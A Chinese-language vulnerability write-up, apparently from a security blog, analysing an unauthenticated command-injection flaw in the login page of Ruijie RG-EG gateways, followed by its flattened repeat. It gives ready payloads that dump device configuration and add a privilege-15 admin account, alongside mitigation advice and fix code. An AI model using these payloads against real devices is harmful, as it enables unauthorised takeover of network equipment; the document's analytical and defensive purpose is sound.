一次有趣的锐捷前台无条件RCE漏洞分析
字数 1035 2025-08-18 17:33:08

锐捷前台无条件RCE漏洞分析与复现教学文档

漏洞概述

本漏洞存在于锐捷RG-EG系列出口网关的WEB管理端中,是一个前台无条件命令执行漏洞。攻击者无需任何认证即可通过构造特殊的请求参数,在设备上执行任意命令,获取设备敏感信息甚至完全控制设备。

漏洞分析

1. 漏洞位置

漏洞位于login.php文件中,具体在登录功能处理逻辑部分。

2. 漏洞成因

根本原因是开发者未对用户输入进行有效过滤,直接将用户可控参数拼接到设备命令中执行,导致命令注入。

3. 漏洞触发流程

  1. 用户提交用户名和密码到login.php
  2. 程序将用户名和密码拼接到webmaster命令中
  3. 通过execCli()函数执行拼接后的命令
  4. 由于无过滤,攻击者可在密码参数中注入额外命令

4. 关键代码分析

// login.php中的登录处理逻辑
$username = $_POST['username'];
$password = $_POST['password'];

// 执行webmaster命令验证登录
$res = execCli('exec', "webmaster $username $password");

// execCli函数定义
function execCli($mode, $command, $answer) {
    // 参数检查
    // ...
    
    // 通过php cli模块执行命令
    php_exec_cli($mode, $command, $answer);
}

漏洞复现

1. 环境准备

  • 目标设备:锐捷RG-EG系列出口网关
  • 测试工具:Burp Suite或类似HTTP代理工具

2. 复现步骤

  1. 拦截登录请求(通常为POST请求到login.php
  2. 修改请求参数,构造恶意payload
  3. 发送请求并观察响应

3. PoC构造

基本payload格式:

username=任意值&password=原密码?[注入的命令]

示例payload:

username=test&password=123?show version

4. 常见可利用命令

  • 查看设备信息:show version
  • 查看配置:show running-config
  • 查看用户:show user
  • 查看接口信息:show interface

漏洞利用

1. 信息收集

username=test&password=123?show running-config

可获取设备完整配置信息,包括密码hash等敏感数据。

2. 权限提升

通过修改配置或添加管理员用户实现权限提升:

username=test&password=123?configure terminal
username=test&password=123?username admin privilege 15 secret mynewpassword

3. 持久化控制

可通过修改启动配置或创建计划任务实现持久化访问。

防御措施

1. 临时缓解

  • 限制WEB管理界面访问来源
  • 修改默认密码

2. 根本修复

  • 对用户输入进行严格过滤和验证
  • 使用参数化查询而非字符串拼接
  • 实现最小权限原则,限制WEB进程权限
  • 对敏感操作增加二次认证

3. 代码修复建议

// 修复后的代码示例
function sanitizeInput($input) {
    return preg_replace('/[^a-zA-Z0-9]/', '', $input);
}

$username = sanitizeInput($_POST['username']);
$password = sanitizeInput($_POST['password']);

// 或者使用预定义命令模板
$command = sprintf('webmaster %s %s', 
    escapeshellarg($username),
    escapeshellarg($password)
);

漏洞影响

  • CVSS评分:9.8 (Critical)
  • 影响范围:所有使用相同登录逻辑的锐捷RG-EG系列设备
  • 潜在危害:
    • 完全控制网络设备
    • 获取内网拓扑信息
    • 作为跳板攻击内网其他设备
    • 修改网络配置导致服务中断

总结

该漏洞展示了网络设备WEB管理界面常见的安全问题,强调了输入验证的重要性。开发人员应避免直接将用户输入拼接到系统命令中,而应使用安全的API或严格的输入过滤机制。对于渗透测试人员,此类设备往往隐藏着高危漏洞,值得重点关注。

锐捷前台无条件RCE漏洞分析与复现教学文档 漏洞概述 本漏洞存在于锐捷RG-EG系列出口网关的WEB管理端中,是一个前台无条件命令执行漏洞。攻击者无需任何认证即可通过构造特殊的请求参数,在设备上执行任意命令,获取设备敏感信息甚至完全控制设备。 漏洞分析 1. 漏洞位置 漏洞位于 login.php 文件中,具体在登录功能处理逻辑部分。 2. 漏洞成因 根本原因是开发者未对用户输入进行有效过滤,直接将用户可控参数拼接到设备命令中执行,导致命令注入。 3. 漏洞触发流程 用户提交用户名和密码到 login.php 程序将用户名和密码拼接到 webmaster 命令中 通过 execCli() 函数执行拼接后的命令 由于无过滤,攻击者可在密码参数中注入额外命令 4. 关键代码分析 漏洞复现 1. 环境准备 目标设备:锐捷RG-EG系列出口网关 测试工具:Burp Suite或类似HTTP代理工具 2. 复现步骤 拦截登录请求(通常为POST请求到 login.php ) 修改请求参数,构造恶意payload 发送请求并观察响应 3. PoC构造 基本payload格式: 示例payload: 4. 常见可利用命令 查看设备信息: show version 查看配置: show running-config 查看用户: show user 查看接口信息: show interface 漏洞利用 1. 信息收集 可获取设备完整配置信息,包括密码hash等敏感数据。 2. 权限提升 通过修改配置或添加管理员用户实现权限提升: 3. 持久化控制 可通过修改启动配置或创建计划任务实现持久化访问。 防御措施 1. 临时缓解 限制WEB管理界面访问来源 修改默认密码 2. 根本修复 对用户输入进行严格过滤和验证 使用参数化查询而非字符串拼接 实现最小权限原则,限制WEB进程权限 对敏感操作增加二次认证 3. 代码修复建议 漏洞影响 CVSS评分:9.8 (Critical) 影响范围:所有使用相同登录逻辑的锐捷RG-EG系列设备 潜在危害: 完全控制网络设备 获取内网拓扑信息 作为跳板攻击内网其他设备 修改网络配置导致服务中断 总结 该漏洞展示了网络设备WEB管理界面常见的安全问题,强调了输入验证的重要性。开发人员应避免直接将用户输入拼接到系统命令中,而应使用安全的API或严格的输入过滤机制。对于渗透测试人员,此类设备往往隐藏着高危漏洞,值得重点关注。